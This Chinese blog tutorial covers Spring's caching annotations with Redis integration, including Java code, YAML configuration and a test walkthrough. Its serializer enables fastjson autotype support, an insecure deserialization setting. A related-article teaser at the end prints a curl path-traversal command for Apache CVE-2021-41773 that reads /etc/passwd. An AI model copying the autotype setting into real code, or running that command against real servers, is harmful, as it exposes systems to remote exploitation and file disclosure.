简单的spring缓存 Cacheable学习

news2024/9/24 0:54:45

简单的spring缓存 Cacheable学习

1.需求

项目中有很多的方法查询的数据其实是不会经常变的,但是其整体的查询sql以及调用第三方数据获取数据花费的时间很长,现在考虑对此类型的接口进行优化,首先想到的是对其进行缓存操作,所以简单了解了一下spring的缓存注解使用,此处进行简单的整理,方便后续复习项目使用。

2.简介

@Cacheable 是 Spring 框架提供的一个缓存注解,主要用于声明式地启用方法级别的缓存功能。它允许开发人员在不改变业务逻辑的前提下,通过简单的注解配置来实现缓存机制,从而提高应用程序的性能。

  • 主要概念
    缓存(Cache): 在计算机科学中,缓存是一种用于存储经常访问的数据的技术,目的是为了加快数据的访问速度。缓存通常存储在比原始数据源(如数据库)更快的存储介质中。

    声明式缓存: 通过注解或 XML 配置来声明哪些方法应该被缓存,而不是通过编程方式显式地管理缓存逻辑。

  • 缓存的工作原理
    当一个带有 @Cacheable 注解的方法被调用时,Spring 会根据配置的缓存键(默认是基于方法参数的哈希值)去查找缓存中是否已经有该方法的执行结果。如果找到了相应的缓存条目,则直接返回缓存中的结果,不再执行方法体内的逻辑。如果没有找到,则执行方法并将其结果存储到缓存中,以便后续相同的请求可以直接从缓存中获取结果。

相对于自己编写的缓存,spring框架的自带缓存组件有以下优势:

  • 简化开发: @Cacheable 注解使得开发人员无需手动编写缓存逻辑,通过简单的注解配置即可启用缓存功能。
  • 透明性: 缓存操作对于业务逻辑来说是透明的,开发人员只需要关注业务逻辑的实现,而不需要关心缓存的具体实现细节。
  • 集中管理: 缓存策略可以通过配置文件或注解集中管理,便于维护和调整。
  • 灵活的缓存策略: 支持多种缓存管理机制,如基于时间的失效策略、基于访问次数的淘汰策略等。
  • 支持多种缓存存储: 可以很容易地集成多种缓存存储方案,如 Ehcache、Redis、Caffeine 等。
  • 减少数据库负载: 对于那些读操作远多于写操作的场景,使用 @Cacheable 可以显著减少对数据库的访问,提高应用的整体性能。
  • 自动化的缓存管理: Spring 会自动处理缓存的存储、查找和过期等操作,减少了手动管理缓存时可能引入的错误。

3. 简单的使用

3.1 简单的注解认识

我们使用spring的缓存主要使用的是 @Cacheable@CachePut@CacheEvict这三个注解,那么简单的介绍一下这三个注解

  1. @Cacheable
    作用: 用于标记一个方法,使得在调用该方法之前,Spring 会尝试从缓存中获取数据。如果缓存中有对应键的数据,则直接返回缓存中的数据,不会执行方法本身。如果缓存中没有数据,则执行方法并将结果存储到缓存中。
    用法: 通常用于那些计算成本较高、调用频繁且结果可预测的方法上。
    属性:

    • value/cacheNames: 指定缓存的名字,可以设置一个或者多个。
    • key: 定义缓存的键,默认情况下通常是基于方法参数的组合来生成键。
    • unless: 可以定义一个条件表达式,表达式为真,不缓存此方法的结果,结果result获取。eg: unless="#name.length() <=10 ",名称长度小于等于10则不缓存。
    • condition: 定义了一个条件表达式,只有当表达式为真时才缓存此方法的结果。 eg: condition="#name.length() <=10 ",名称长度小于等于10则缓存。
  2. @CachePut
    作用: 标记的方法会在每次调用后都将结果存入缓存中。与 @Cacheable 不同的是,@CachePut 总是会执行方法体内的逻辑,然后再把结果放入缓存。
    用法: 适用于那些需要先执行业务逻辑再更新缓存的情况。
    属性: 类似于 @Cacheable,可以指定 value/cacheNames、key 等属性。

  3. @CacheEvict
    作用: 用于清除缓存中的一个或多个条目。可以在方法调用前后清除缓存,这取决于 beforeInvocation 属性是否设置为 true。
    用法: 通常在修改数据之后使用,以保证缓存的一致性。
    属性:

    • value/cacheNames: 指定要清除的缓存的名字。
    • key: 定义要清除的缓存键。
    • allEntries: 如果设置为 true,则清除整个缓存。
    • beforeInvocation: 如果设置为 true,则在方法调用前清除缓存,默认为 false,即方法调用后清除。

我们编写缓存的key以及condition条件等,使用的是 spEL表达式方式,常用的表达式如下:

名称位置描述示例
methodNameroot object当前被调用的方法名称#root.methodName
methodroot object当前被调用的方法# root.method.name
targetroot object当前被调用的目标对象#root.target
targetClassroot object当前被调用的对象类#root.targetClass
argsroot object当前被调用的方法的参数列表#root.args[0]
cachesroot object当前方法调用使用的缓存列表[如 @Cacheable(value={"cache1", "cache2"}),则有两个cache]#root.caches[0].name
argument nameevaluation context方法参数的名字,可以直接使用 #参数名,也可以使用 #p0或者 #a0的形式,0代表索引#a0
resultevaluation context方法执行完毕的返回结果值(仅当方法执行后的判定有效)#result

3.2 注解的简单使用

下面简单使用注解进行信息缓存,主要测试缓存功能,则没有使用数据库查询测试,而是使用Thread.sleep进行模拟数据库查询,具体的pom以及service代码如下

  • 引入缓存使用的pom文件

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-cache</artifactId>
    </dependency>
    
  • controller接口类

    package cn.git.controller;
    
    import cn.git.entity.Person;
    import cn.git.service.CacheService;
    import com.alibaba.fastjson.JSONObject;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.PathVariable;
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    /**
     * @description: 缓存测试controller
     * @program: bank-credit-sy
     * @author: lixuchun
     * @create: 2024-09-23
     */
    @RestController
    @RequestMapping("/cache")
    public class CacheController {
    
        @Autowired
        private CacheService cacheService;
    
        /**
         * 根据id获取person
         * @param id id
         */
        @GetMapping("/person/{id}")
        public String getPersonById(@PathVariable("id") String id) {
            return JSONObject.toJSONString(cacheService.getPersonById(id));
        }
    
        /**
         * 根据id获取person,缓存自定义key
         *
         * @param id id
         */
        @GetMapping("/person/cus/{id}")
        public String getPerson(@PathVariable("id") String id) {
            return JSONObject.toJSONString(cacheService.getPersonByCusId(id));
        }
    
        /**
         * 更新person
         * @return
         */
        @GetMapping("/update/{id}")
        public String updatePerson(@PathVariable("id") String id) {
            Person person = new Person(id, "张三", 18, "男");
            return JSONObject.toJSONString(cacheService.updatePerson(person));
        }
    
    
        /**
         * 根据id删除person
         * @param id id
         */
        @GetMapping("/delete/{id}")
        public void deletePersonById(@PathVariable("id") String id) {
            cacheService.deletePersonById(id);
        }
    }
    
    
  • service实现代码如下

    package cn.git.service.impl;
    
    import cn.git.entity.Person;
    import cn.git.service.CacheService;
    import com.alibaba.fastjson.JSONObject;
    import org.springframework.cache.annotation.CacheEvict;
    import org.springframework.cache.annotation.CachePut;
    import org.springframework.cache.annotation.Cacheable;
    import org.springframework.stereotype.Service;
    
    /**
     * @description: 缓存服务实现类
     * @program: bank-credit-sy
     * @author: lixuchun
     * @create: 2024-09-23
     */
    @Service
    public class CacheServiceImpl implements CacheService {
    
        /**
         * 根据id获取person
         *
         * @param id id
         */
        @Cacheable(cacheNames = "person", key = "#id")
        @Override
        public Person getPersonById(String id) {
            try {
                Thread.sleep(5000);
            } catch (Exception e) {
                e.printStackTrace();
            }
            Person person = new Person();
            person.setId(id);
            person.setAge(18);
            person.setSex("男");
            person.setName("张三");
            System.out.println("获取数据成功 -> " + JSONObject.toJSONString(person));
            return person;
        }
    
        /**
         * 根据id获取person,缓存key自定义
         *
         * @param id id
         */
        @Cacheable(cacheNames = "person", keyGenerator = "customKeyGenerator")
        @Override
        public Person getPersonByCusId(String id) {
            try {
                Thread.sleep(2000);
            } catch (Exception e) {
                e.printStackTrace();
            }
            Person person = new Person();
            person.setId(id);
            person.setAge(18);
            person.setSex("男");
            person.setName("张三");
            System.out.println("获取数据成功 -> " + JSONObject.toJSONString(person));
            return person;
        }
    
        /**
         * 更新person, 并返回person
         * 返回person值会被缓存,缓存的key为person的id
         *
         * @param person person
         */
        @CachePut(cacheNames = "person", key = "#person.id")
        @Override
        public Person updatePerson(Person person) {
            person.setName("李四".concat(String.valueOf(System.currentTimeMillis())));
            System.out.println("更新数据成功 -> " + JSONObject.toJSONString(person));
            return person;
        }
    
        /**
         * 根据id删除person
         * 使用参数 allEntries=true 则可以删除所有缓存
         *
         * @param id id
         */
        @CacheEvict(cacheNames = "person", key = "#id")
        @Override
        public void deletePersonById(String id) {
            System.out.println("数据删除成功 -> " + id);
        }
    }
    
    
  • 服务启动类添加启动缓存注解

    package cn.git;
    
    import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication;
    import org.springframework.cache.annotation.EnableCaching;
    
    /**
     * @description: activiti迁移测试类
     * @program: bank-credit-sy
     * @author: lixuchun
     * @create: 2024-06-07
     */
    @EnableCaching
    @SpringBootApplication(scanBasePackages = "cn.git")
    public class helloApplication {
        public static void main(String[] args) {
            SpringApplication.run(helloApplication.class, args);
        }
    }
    

4.整合redis并且实现缓存超时功能

整个spring缓存整合redis非常简单,引入整合redis必要的pom坐标文件,引入jar包后再编写redis的缓存管理器即可,具体的实现步骤如下。

  • 引入必要pom坐标

    <dependency>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-data-redis</artifactId>
        <version>2.3.8.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.apache.commons</groupId>
        <artifactId>commons-pool2</artifactId>
        <version>2.8.1</version>
    </dependency>
    
  • redis配置类以及序列化处理类

    序列化类内容如下

    package cn.git.config;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.parser.ParserConfig;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    import org.springframework.data.redis.serializer.RedisSerializer;
    import org.springframework.data.redis.serializer.SerializationException;
    import org.springframework.stereotype.Component;
    
    import java.nio.charset.Charset;
    import java.nio.charset.StandardCharsets;
    
    /**
     * @description: Redis序列化配置
     * @program: bank-credit-sy
     * @author: lixuchun
     * @create: 2024-09-23
     */
    @Component
    public class FastJson2JsonRedisSerializer<T> implements RedisSerializer<T> {
    
        /**
         * 默认字符集
         */
        private final Charset DEFAULT_CHARSET = StandardCharsets.UTF_8;
    
        /**
         * 泛型类型
         */
        Class<T> clazz;
    
        /**
         * 配置全局类型支持
         */
        static {
            ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        }
    
        /**
         * 序列化构造函数
         *
         * @param t
         */
        @Override
        public byte[] serialize(T t) throws SerializationException {
            if (null == t) {
                return new byte[0];
            }
            return JSON.toJSONString(t, SerializerFeature.WriteClassName).getBytes(DEFAULT_CHARSET);
        }
    
        /**
         * 反序列化
         *
         * @param bytes
         */
        @Override
        public T deserialize(byte[] bytes) throws SerializationException {
            if (null == bytes || 0 >= bytes.length) {
                return null;
            }
            String str = new String(bytes, DEFAULT_CHARSET);
            return JSON.parseObject(str, clazz);
        }
    }
    
    
  • redis 缓存管理器配置类如下
    缓存超时功能主要是设置 RedisCacheConfiguration.entryTtl(Duration.ofSeconds(60)) 参数生效

    package cn.git.config;
    
    import lombok.extern.slf4j.Slf4j;
    import org.springframework.cache.annotation.CachingConfigurerSupport;
    import org.springframework.cache.annotation.EnableCaching;
    import org.springframework.cache.interceptor.KeyGenerator;
    import org.springframework.context.annotation.Bean;
    import org.springframework.context.annotation.Configuration;
    import org.springframework.data.redis.cache.RedisCacheConfiguration;
    import org.springframework.data.redis.cache.RedisCacheManager;
    import org.springframework.data.redis.connection.RedisConnectionFactory;
    import org.springframework.data.redis.serializer.RedisSerializationContext;
    
    import java.time.Duration;
    
    /**
     * @description: redis配置类
     * @program: bank-credit-sy
     * @author: lixuchun
     * @create: 2024-09-23
     */
    @Slf4j
    @Configuration
    @EnableCaching
    public class RedisCacheConfig extends CachingConfigurerSupport {
    
        /**
         * redis序列化器
         */
        private static final FastJson2JsonRedisSerializer REDIS_SERIALIZER = new FastJson2JsonRedisSerializer();
    
        /**
         * 自定义key生成器, 拼接名称class名称 + 方法名称 + 参数列表
         *
         * @return
         */
        @Bean(name = "customKeyGenerator")
        public KeyGenerator customKeyGenerator(){
            // 三个参数分别为 当前类,方法,参数列表
            return (object, method, params) -> {
                // 拼接名称class名称 + 方法名称 + 参数列表
                StringBuilder stringBuilder = new StringBuilder();
                stringBuilder.append(object.getClass().getName());
                stringBuilder.append(method.getName());
                // 拼接参数信息
                for(Object param: params){
                    stringBuilder.append(param == null ? "null" : param.toString());
                }
                return stringBuilder.toString();
            };
        }
    
        /**
         * 配置缓存管理器
         *
         * @param connectionFactory
         * @return
         */
        @Bean
        public RedisCacheManager cacheManager(RedisConnectionFactory connectionFactory) {
            RedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig()
                    // 设置缓存的过期时间,单位秒
                    .entryTtl(Duration.ofSeconds(60))
                    // 设置key的序列化方式
                    .serializeKeysWith(RedisSerializationContext.SerializationPair.fromSerializer(REDIS_SERIALIZER))
                    // 设置value的序列化方式
                    .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(REDIS_SERIALIZER))
                    // 不缓存null值
                    .disableCachingNullValues();
    
            // 配置缓存管理器
            return RedisCacheManager.builder(connectionFactory)
                    .cacheDefaults(config)
                    .transactionAware()
                    .build();
        }
    
    }
    
    
  • yml配置文件

    spring:
      application:
        name: docker-hello  # 应用程序名称,用于 Spring Cloud 的服务发现和服务注册
      # redis配置
      redis:
        database: 0  # Redis 数据库索引,默认为 0
        host: 192.168.138.129  # Redis 服务器的 IP 地址
        port: 6379  # Redis 服务器的端口号
        timeout: 20000  # Redis 连接超时时间,单位为毫秒
        # springboot2.x以上如此配置,由于2.x的客户端是lettuce
        lettuce:
          pool:
            max-active: 8  # 最大活动连接数,默认为 8
            min-idle: 0  # 最小空闲连接数,默认为 0
            max-idle: 8  # 最大空闲连接数,默认为 8
            max-wait: 10000ms  # 获取连接的最大等待时间,默认为 10000 毫秒
    
    server:
      port: 8088
    

5.测试

Spring @Cacheable 默认使用的缓存管理器是ConcurrentMapCacheManager。如果没有指定其他的缓存管理器,Spring会自动使用这个默认的实现。如果我们直接使用spring @Cacheable注解,则使用的是本地ConcurrentMap进行缓存,我们不做测试了,效果不太好看,此处我们使用redis配置进行测试。

使用的redis可视化工具是RDM,我们连接到RDM,观察是没有数据的
在这里插入图片描述
下面开始进行测试

  1. 添加缓存信息
    我们调用接口 http://localhost:8088/cache/person/18,进行缓存信息,发现执行接口时间为5s,再次执行发现直接响应数据,并且RDM中已经有缓存数据
    在这里插入图片描述
    RDM中缓存信息
    在这里插入图片描述

  2. 添加自定义key缓存信息
    我们调用接口 http://localhost:8088/cache/person/cus/18 缓存自定义key缓存信息,观察RDM中自定义key样式
    在这里插入图片描述
    观察RDM中key样式,发现其为 类名称+调用类方法名称+参数 的格式生成,对应到自定义的customKeyGenerator 缓存键生成策略,并且还会在60s后自动失效。
    在这里插入图片描述

  3. 修改信息
    我们调用接口 http://localhost:8088/cache/update/18 修改name信息,发现执行速度很快,然后再次调用查询信息以及观察RDM中发现数据已经被修改。
    在这里插入图片描述
    RDM中观察缓存信息
    在这里插入图片描述
    查询接口查看缓存名称信息
    在这里插入图片描述

  4. 删除缓存信息
    我们调用 http://localhost:8088/cache/delete/18 进行缓存信息删除操作,删除后再次查询RDM发现缓存信息已经不在,调用添加缓存接口发现执行时间再次变更为5s
    在这里插入图片描述
    观察RDM信息在这里插入图片描述
    再次调用添加缓存接口,返回修改前固定名称张三
    在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2158927.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【数据结构与算法】十大经典排序算法深度解析:冒泡排序、选择排序、插入排序、归并排序、快速排序、希尔排序、堆排序、计数排序、桶排序、基数排序

&#x1f493; 博客主页&#xff1a;倔强的石头的CSDN主页 &#x1f4dd;Gitee主页&#xff1a;倔强的石头的gitee主页 ⏩ 文章专栏&#xff1a;《数据结构与算法》 期待您的关注 ​ 目录 引言 一、排序算法概述 排序算法简介 排序算法的分类 性能指标 二、十大排序算法…

小新 Pro13 + windows 11 家庭中文版(网络适配器及地址配置)

网络适配器位置及地址配置 网络适配器简介 计算机系统&#xff1a;网络适配器详解&#xff0c;全面剖析 网络适配器位置 不同于win11之前的版本&#xff0c;win11的网络适配器的位置如下&#xff1a; 1、右键 右下角的网络图标-》网络和internet设置-》高级网络设置-》可以…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

颍川陈氏——平民崛起的典范

园子说颍川 广州有一处老建筑“陈家祠”&#xff0c;豪华精美堪比皇宫&#xff0c;誉为“岭南建筑艺术明珠”、“新世纪羊城八景”之一&#xff0c;是全国文保单位&#xff0c;4A 级景区。主体建筑以中轴线三座厅堂为中心&#xff0c;由大小十九座单体建筑组成&#xff0c;占地…

通信工程学习:什么是VM虚拟机

VM&#xff1a;虚拟机 VM虚拟机&#xff08;Virtual Machine&#xff09;是一种通过软件模拟的计算机系统&#xff0c;它能够在物理计算机上模拟并运行多个独立的虚拟计算机系统。以下是关于VM虚拟机的详细解释&#xff1a; 一、VM虚拟机的定义与原理 定义&#xff1a; VM虚拟…

认知杂谈77《简单:通往高手的技巧》

内容摘要&#xff1a;          在信息爆炸、关系复杂的时代&#xff0c;简单是复杂背后的真谛。简单如“112”&#xff0c;是智慧的朴素呈现。简单有强大力量&#xff0c;像清泉般纯净&#xff0c;如“我爱你”简单却有力&#xff0c;基础财务知识也体现其在理财中的作…

鸿蒙开发(NEXT/API 12)【基础功能(使用剪贴板进行复制粘贴)】剪贴板服务

场景介绍 [剪贴板]为开发者提供数据的复制粘贴能力。 当需要使用复制粘贴等功能时&#xff0c;例如&#xff1a;复制文字内容到备忘录中粘贴&#xff0c;复制图库照片到文件管理粘贴&#xff0c;就可以通过剪贴板来完成。 约束限制 剪贴板内容大小<128MB。为保证剪贴板数…

拓维思注册机Tovos PowerLine4.0.19树障分析 Tovos SmartPlan2.0.0航线规划软件

Tovos PowerLine是功能强大的输电线路智能巡检系统&#xff01;这是一个专业且智能的软件&#xff0c;能够更准确的进行巡检和对线路设备进行精确的测量&#xff0c;通过获取高精度的点云来获取精准的三维路线的地形地貌、设备设施、途径的各种物体等来精确您的三维空间信息和三…

PostgreSQL的学习心得和知识总结(一百五十一)|[performance] PostgreSQL列对齐

目录结构 注&#xff1a;提前言明 本文借鉴了以下博主、书籍或网站的内容&#xff0c;其列表如下&#xff1a; 1、参考书籍&#xff1a;《PostgreSQL数据库内核分析》 2、参考书籍&#xff1a;《数据库事务处理的艺术&#xff1a;事务管理与并发控制》 3、PostgreSQL数据库仓库…

828华为云征文|华为云Flexus云服务器X实例部署Xnote笔记应用

828华为云征文&#xff5c;华为云Flexus云服务器X实例部署Xnote笔记应用 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、Note Mark 介绍2.1 Xnote简介2.2 Xnote特点2.3 主要使用场景 三、本次实…

2024 硬盘格式恢复软件大盘点:功能、特点与适用场景

在当今社会设计师们依赖硬盘存储海量的创意素材&#xff0c;而学生群体则借助硬盘来管理繁重的作业与数据&#xff0c;这已成为一种普遍现象。在数据迁移或整理过程中&#xff0c;我们可能会选择格式化硬盘以获取一个干净的新空间。如果操作不当硬盘格式化后能恢复数据吗&#…

Vue开发前端图片上传给java后端

前端效果图 图片上传演示 1 前端代码 <template><div><!-- 页面标题 --><h1 class"page-title">图片上传演示</h1><div class"upload-container"><!-- 使用 van-uploader 组件进行文件上传&#xff0c;v-model 绑…

Qt 状态机编程,双层状态机,实现暂停恢复

流程设计状态图 #ifndef WORKMACHINE_H #define WORKMACHINE_H#include <QObject> #include <QStateMachine> #include <QHistoryState> #include <QFinalState>#include "WorkThread.h"class WorkMachine : public QObject {Q_OBJECT publ…

手写Spring第三篇,原来Spring容器是使用反射来初始化对象的

上次是不是你小子和大家说你拿来做登记的样品被我收了&#xff0c;然后取豆子的时候就是这个样品的&#xff1f; 今天我来辟一下谣&#xff0c;真的是这样的。这小子的样品确实被我收了&#xff0c;不过这小子没给真东西给我&#xff0c;只给了一个指针&#xff0c;害我宝贝得存…

【深度】为GPT-5而生的「草莓」模型!从快思考—慢思考到Self-play RL的强化学习框架

原创 超 超的闲思世界 2024年09月11日 19:17 北京 9月11日消息&#xff0c;据外媒The Information昨晚报道&#xff0c;OpenAI的新模型「草莓」&#xff08;Strawberry&#xff09;&#xff0c;将在未来两周内作为ChatGPT服务的一部分发布。 「草莓」项目是OpenAI盛传已久的…

QT中添加资源文件(一看就会)

QT中添加资源文件 什么是资源文件如何使用创建资源文件编辑资源文件代码中引用资源什么是资源文件 项目中经常需要添加图片、‌音频、‌视频、翻译文件等文件,在QT中,这些文件会放在 .qrc 文件中来被使用。 .qrc 文件是一个XML格式的资源集合描述文件,是Qt中用于定义和管理…

Fyne ( go跨平台GUI )中文文档-入门(一)

本文档注意参考官网(developer.fyne.io/) 编写, 只保留基本用法go代码展示为Go 1.16 及更高版本, ide为goland2021.2 这是一个系列文章&#xff1a; Fyne ( go跨平台GUI )中文文档-入门(一)-CSDN博客 Fyne ( go跨平台GUI )中文文档-Fyne总览(二)-CSDN博客 Fyne ( go跨平台GUI )…

【一文看懂】Gumroad如何购物?Gumroad如何付款?Gumroad支付方式有哪些?Gumroad国内如何支付?

1.Gumroad付款方式 详情移步至底部原文查看~ 3.2.Gumroad数字商品的标价 详情移步至底部原文查看~ 点击【Pay】后&#xff0c;等待一会即可付款成功&#xff0c;点击【Download】即可下载购买的数字商品。 4.注意事项 详情移步至底部原文查看~ Gumroad如何购物&#xff1f;G…

828华为云征文 | 云服务器Flexus X实例,Docker集成搭建Mysql集群

828华为云征文 | 云服务器Flexus X实例&#xff0c;Docker集成搭建Mysql集群 MySQL 集群是一种高可用性、高性能的数据库解决方案&#xff0c;旨在支持分布式应用程序&#xff0c;允许多个 MySQL 实例以集群的方式共同工作&#xff0c;提供数据冗余和故障恢复能力 搭建Mysql集群…

计算机毕业设计之:基于微信小程序的中药材科普系统(源码+文档+讲解)

博主介绍&#xff1a; ✌我是阿龙&#xff0c;一名专注于Java技术领域的程序员&#xff0c;全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师&#xff0c;我在计算机毕业设计开发方面积累了丰富的经验。同时&#xff0c;我也是掘金、华为云、阿里云、InfoQ等平台…